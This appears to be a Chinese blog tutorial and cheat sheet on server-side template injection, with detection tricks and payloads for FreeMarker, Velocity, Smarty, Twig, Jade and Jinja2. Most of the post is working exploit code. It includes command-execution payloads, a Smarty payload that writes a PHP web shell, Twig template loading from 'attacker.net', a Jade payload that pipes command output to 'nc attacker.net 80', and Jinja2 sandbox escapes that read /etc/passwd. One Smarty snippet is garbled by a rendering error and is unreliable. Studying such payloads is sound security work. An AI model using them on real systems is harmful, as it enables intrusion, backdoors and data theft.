从0开始ssti(待更+待理解)服务器端模板注入

在这里插入图片描述

关于模板注入,这张图片说的很清楚,另外,在区分jinja2和Twig那里是这样的:

Twig 
{{7*'7'}}  #输出49
Jinja
{{7*'7'}}  #输出7777777

概述:
模板引擎:能让网站实现界面与数据分离,实现动态数据展示。这类问题一般会在cms,博客,wiki中产生。

服务器端模板注入:通过模板,web应用可以把输入转换成特定的html文件或者email格式,
例如如下发送邮件代码:以Twig为例
$output = $twig->render( $_GET[‘custom_email’] , array(“first_name” => $user.first_name) );
此时如果我们做请求:custom_email={{7*7}}
那么output的结果就是49
如果请求是:custom_email={{self}}
那么会报错:Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string // 错误
很容易猜到服务器执行了我们传入的数据。

手法:
1.探测:通过最上面那张图
2.利用:
读文档:这里参考各个引擎的使用手册
3.各个引擎payload:
3.1:FreeMarker
FreeMarker是java下最受欢迎的模板引擎,

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)

3.2:Velocity
可用的方法和属性:
这里有几个可利用的方法和属性:
**

$class.inspect(class/object/string):返回正在审查类或对象的ClassTool实例
$class.type:返回被审查的类

**

payload:$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒

#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

//输出 tomcat7

3.3:Smarty
这是一款php的模板语言,只运行php白名单里的函数,因此我们不能直接调用system(),但可以直接从已有的类中进行任意调用。
比如方法:getStreamVariable
这个函数能任意读取有读写权限的文件:
paylaod:

{self::getStreamVariable("file:///proc/self/loginuid")}

1000
{self::getStreamVariable($SCRIPT_NAME)}

不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile($_filepath, $_contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。
幸运的是,self::clearConfig帮助我们获取对象:

public function clearConfig(KaTeX parse error: Expected '}', got 'EOF' at end of input: …g::clearConfig(this, $varname);
}

最后,我们就可以创建后门了!
payload:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

3.4:Twig
它与Smarty类似,但不能调用静态方法,但它提供_self,虽然_self没有什么有用的方法,但它提供指向Twig_Environment的env属性。
那么我们就可以通过Twig_Environment中的setCache方法来改变Twig加载php文件的路径,从而实现远程文件包含
payload:{{_self.env.setCache(“ftp://attacker.net:2121”)}}{{_self.env.loadTemplate(“backdoor”)}}

但是php默认禁止了远程文件包含,然而在getFilter中发现了危险函数call_user_func,通过传递参数进入此函数则可以任意调用php函数
payload:{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}}

//返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)

4.3.1:Twig(沙箱模式)
Twig的沙箱模式有额外的限制,禁用了一部分函数,通过调用Twig_TemplateInterface 也就是_self中的displayBlock

4.4:jade
这是node.js的模板引擎,
检测方法:

7*7 --》49
root--》 [object global]

exp:

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

4.5:flask/jinjia2模板注入
Flask是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用 Werkzeug ,模板引擎则使用 Jinja2

paylaod:Ryan. {{person.secret}}
payload2:Ryan. {{ get_user_file("/tmp/secrets.txt") }}

4.6
python3读取文件:

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值